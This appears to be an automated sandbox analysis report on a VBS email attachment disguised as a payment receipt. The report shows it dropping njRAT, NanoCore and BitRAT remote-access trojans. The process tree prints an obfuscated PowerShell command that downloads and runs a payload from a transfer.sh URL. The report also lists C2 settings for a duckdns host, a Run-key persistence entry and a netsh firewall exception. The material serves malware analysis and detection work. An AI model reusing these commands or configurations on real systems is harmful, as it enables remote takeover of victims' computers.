Analysis
-
max time kernel
152s -
max time network
154s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
08-12-2021 19:08
Static task
static1
Behavioral task
behavioral1
Sample
K2M17C5X4Payment-Receipt.vbs
Resource
win7-en-20211208
General
-
Target
K2M17C5X4Payment-Receipt.vbs
-
Size
679B
-
MD5
00b87aa69cc2affee76e1dcfefe2a5f0
-
SHA1
c05f10020b72265500b6a60aa44bc25b6dc2164c
-
SHA256
20c16f86d064ace9aba5b2a46939234aa154d6f1bd86d823d7baa31eb291c758
-
SHA512
4ccf08698b421c6cf19536bc6e82d420af1a9ce1cf95f1b14e92f7537ae9f921e633eebb0d4a236837091de815b1203f2e8e3309a17c2e3c06876744f5df3c43
Malware Config
Extracted
https://transfer.sh/get/8HmK8m/bypass.txt
Extracted
njrat
1.9
HacKed
Microsoft.Exe
-
reg_key
Microsoft.Exe
Extracted
nanocore
1.2.2.0
nov6400.duckdns.org:6400
513706f3-29db-4e99-a51e-059607a7bc45
-
activate_away_mode
true
-
backup_connection_host
nov6400.duckdns.org
-
backup_dns_server
8.8.4.4
-
buffer_size
65535
-
build_time
2021-09-17T19:15:29.081949136Z
-
bypass_user_account_control
true
- bypass_user_account_control_data
-
clear_access_control
true
-
clear_zone_identifier
false
-
connect_delay
4000
-
connection_port
6400
-
default_group
nov 6400
-
enable_debug_mode
true
-
gc_threshold
1.048576e+07
-
keep_alive_timeout
30000
-
keyboard_logging
false
-
lan_timeout
2500
-
max_packet_size
1.048576e+07
-
mutex
513706f3-29db-4e99-a51e-059607a7bc45
-
mutex_timeout
5000
-
prevent_system_sleep
false
-
primary_connection_host
nov6400.duckdns.org
-
primary_dns_server
8.8.8.8
-
request_elevation
true
-
restart_delay
5000
-
run_delay
0
-
run_on_startup
true
-
set_critical_process
true
-
timeout_interval
5000
-
use_custom_dns_server
false
-
version
1.2.2.0
-
wan_timeout
8000
Signatures
-
BitRAT Payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmp family_bitrat behavioral2/memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmp family_bitrat -
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
-
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 10 2756 powershell.exe -
Modifies Windows Firewall 1 TTPs
-
Processes:
resource yara_rule behavioral2/memory/1008-175-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral2/memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral2/memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmp upx -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
aspnet_regsql.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe\" .." aspnet_regsql.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_regsql.exe\" .." aspnet_regsql.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
aspnet_regsql.exepid process 1008 aspnet_regsql.exe 1008 aspnet_regsql.exe 1008 aspnet_regsql.exe 1008 aspnet_regsql.exe 1008 aspnet_regsql.exe -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exedescription pid process target process PID 2756 set thread context of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 set thread context of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 set thread context of 1008 2756 powershell.exe aspnet_regsql.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 19 IoCs
Processes:
powershell.exeaspnet_regsql.exepid process 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 1960 aspnet_regsql.exe 1960 aspnet_regsql.exe 1960 aspnet_regsql.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 1960 aspnet_regsql.exe 1960 aspnet_regsql.exe 1960 aspnet_regsql.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
aspnet_regsql.exepid process 1960 aspnet_regsql.exe -
Suspicious use of AdjustPrivilegeToken 14 IoCs
Processes:
powershell.exeaspnet_regsql.exeaspnet_regsql.exeaspnet_regsql.exedescription pid process Token: SeDebugPrivilege 2756 powershell.exe Token: SeDebugPrivilege 1960 aspnet_regsql.exe Token: SeShutdownPrivilege 1008 aspnet_regsql.exe Token: SeDebugPrivilege 1512 aspnet_regsql.exe Token: 33 1512 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 1512 aspnet_regsql.exe Token: 33 1512 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 1512 aspnet_regsql.exe Token: 33 1512 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 1512 aspnet_regsql.exe Token: 33 1512 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 1512 aspnet_regsql.exe Token: 33 1512 aspnet_regsql.exe Token: SeIncBasePriorityPrivilege 1512 aspnet_regsql.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
aspnet_regsql.exepid process 1008 aspnet_regsql.exe 1008 aspnet_regsql.exe -
Suspicious use of WriteProcessMemory 43 IoCs
Processes:
WScript.exepowershell.exeaspnet_regsql.exedescription pid process target process PID 3204 wrote to memory of 2756 3204 WScript.exe powershell.exe PID 3204 wrote to memory of 2756 3204 WScript.exe powershell.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1512 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 684 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 684 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 684 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1960 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 964 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 964 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 964 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2996 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2996 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2996 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2344 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2344 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 2344 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1280 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1280 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1280 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 2756 wrote to memory of 1008 2756 powershell.exe aspnet_regsql.exe PID 1512 wrote to memory of 2252 1512 aspnet_regsql.exe netsh.exe PID 1512 wrote to memory of 2252 1512 aspnet_regsql.exe netsh.exe PID 1512 wrote to memory of 2252 1512 aspnet_regsql.exe netsh.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\K2M17C5X4Payment-Receipt.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .('{1}{0}'-f'eX','I')((ne`w-OBje`cT ('{3}{1}{0}{2}{4}' -f'ebCl','et.W','ie','N','nt')).('{1}{0}{4}{5}{3}{2}' -f 'nl','Dow','g','rin','oa','dSt').('{1}{0}{4}{3}{2}' -f 'v','In','e','k','o')('https://transfer.sh/get/8HmK8m/bypass.txt'))2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe" "aspnet_regsql.exe" ENABLE4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1008-179-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/1008-177-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/1008-176-0x00000000007E2730-mapping.dmp
-
memory/1008-175-0x0000000000400000-0x00000000007E4000-memory.dmpFilesize
3.9MB
-
memory/1512-145-0x000000000040BBCE-mapping.dmp
-
memory/1512-194-0x0000000002AE0000-0x0000000002B7C000-memory.dmpFilesize
624KB
-
memory/1512-150-0x00000000053B0000-0x00000000053B1000-memory.dmpFilesize
4KB
-
memory/1512-149-0x00000000054D0000-0x00000000054D1000-memory.dmpFilesize
4KB
-
memory/1512-148-0x0000000004ED0000-0x0000000004ED1000-memory.dmpFilesize
4KB
-
memory/1512-144-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1960-155-0x000000000041E792-mapping.dmp
-
memory/1960-181-0x0000000006890000-0x00000000068A5000-memory.dmpFilesize
84KB
-
memory/1960-187-0x0000000006920000-0x0000000006922000-memory.dmpFilesize
8KB
-
memory/1960-186-0x0000000006910000-0x000000000691D000-memory.dmpFilesize
52KB
-
memory/1960-185-0x0000000006900000-0x0000000006907000-memory.dmpFilesize
28KB
-
memory/1960-184-0x00000000068F0000-0x00000000068F6000-memory.dmpFilesize
24KB
-
memory/1960-183-0x00000000068E0000-0x00000000068EC000-memory.dmpFilesize
48KB
-
memory/1960-182-0x00000000068D0000-0x00000000068D6000-memory.dmpFilesize
24KB
-
memory/1960-180-0x0000000006880000-0x000000000688D000-memory.dmpFilesize
52KB
-
memory/1960-154-0x0000000000400000-0x0000000000438000-memory.dmpFilesize
224KB
-
memory/1960-165-0x00000000056C0000-0x00000000056C3000-memory.dmpFilesize
12KB
-
memory/1960-162-0x0000000005290000-0x000000000578E000-memory.dmpFilesize
5.0MB
-
memory/1960-161-0x0000000005350000-0x0000000005351000-memory.dmpFilesize
4KB
-
memory/1960-163-0x0000000005690000-0x0000000005695000-memory.dmpFilesize
20KB
-
memory/1960-164-0x0000000006010000-0x0000000006029000-memory.dmpFilesize
100KB
-
memory/2252-193-0x0000000000000000-mapping.dmp
-
memory/2756-122-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-123-0x0000022F5E540000-0x0000022F5E541000-memory.dmpFilesize
4KB
-
memory/2756-118-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-178-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-117-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-121-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-119-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-115-0x0000000000000000-mapping.dmp
-
memory/2756-126-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB
-
memory/2756-124-0x0000022F5E040000-0x0000022F5E042000-memory.dmpFilesize
8KB
-
memory/2756-125-0x0000022F5E043000-0x0000022F5E045000-memory.dmpFilesize
8KB
-
memory/2756-143-0x0000022F5E4C0000-0x0000022F5E4C4000-memory.dmpFilesize
16KB
-
memory/2756-132-0x0000022F5E046000-0x0000022F5E048000-memory.dmpFilesize
8KB
-
memory/2756-120-0x0000022F5DFF0000-0x0000022F5DFF1000-memory.dmpFilesize
4KB
-
memory/2756-116-0x0000022F43FF0000-0x0000022F43FF2000-memory.dmpFilesize
8KB